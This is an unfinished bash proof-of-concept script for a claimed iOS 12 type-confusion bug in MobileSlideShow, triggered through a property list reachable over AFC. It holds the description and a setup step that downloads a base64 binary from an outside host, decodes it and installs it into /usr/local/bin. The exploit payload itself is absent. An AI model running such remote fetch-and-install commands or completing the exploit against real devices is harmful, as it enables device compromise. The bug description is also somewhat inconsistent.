mobileslideshow_09_2018.sh

#!/usr/bin/env bash

### MobileSlideShow iOS 12 type confusion vulnerability
### Created by Sem Voigtländer on 09/25/2018.
### Licensed under the MIT License
### This is a 0day at this time

### DESCRIPTION
###
### MobileSlideshow (Photos app) uses a propertylist for loading the amplification metadata of photos.
### This propertylist is accessible and read/write/delete through the AFC service
### An attacker can corrupt the memory of MobileSlideShow by specifying a different type in the modifications value of the file.
### MobileSlideShow will read this information out at load, thus memory corruption occurs
### Because this read is done upon initialization of iBooks this is persistant after reboots and occurs immediately when opening iBooks.
### The issue can be resolved by moving the plist file to a directory inside a sandboxed bundle container that is not accessible.

# CONSOLE INIT
clear
echo "==== MobileSlideShow Type Confusion - iOS <= 12 ===="
echo "= Created by: Sem Voigtlander          ===="
echo "==========================================="
echo " "
echo "Please connect your iPhone and wait a few..."
sleep 10
# INITIAL SETUP
echo "Creating exploit tmp directory..."
mkdir -p "/tmp/ibooks_09_2018"
if ! [ -x "$(command -v afcclient)" ]; then
    echo "Downloading requirements..."
    curl "http://exploitation.cool/plataoplomo/exploits/data/afcclient.bin" > "/tmp/ibooks_09_2018/afcclient.bin"
    base64 -D -i "/tmp/ibooks_09_2018/afcclient.bin" -o "/tmp/ibooks_09_2018/afcclient"
    rm "/tmp/ibooks_09_2018/afcclient.bin"
    chmod +x "/tmp/ibooks_09_2018/afcclient"
    mv "/tmp/ibooks_09_2018/afcclient" "/usr/local/bin/afcclient"
fi
echo "This PoC is still unfinished, please wait for Sem Voigtländer to finish it."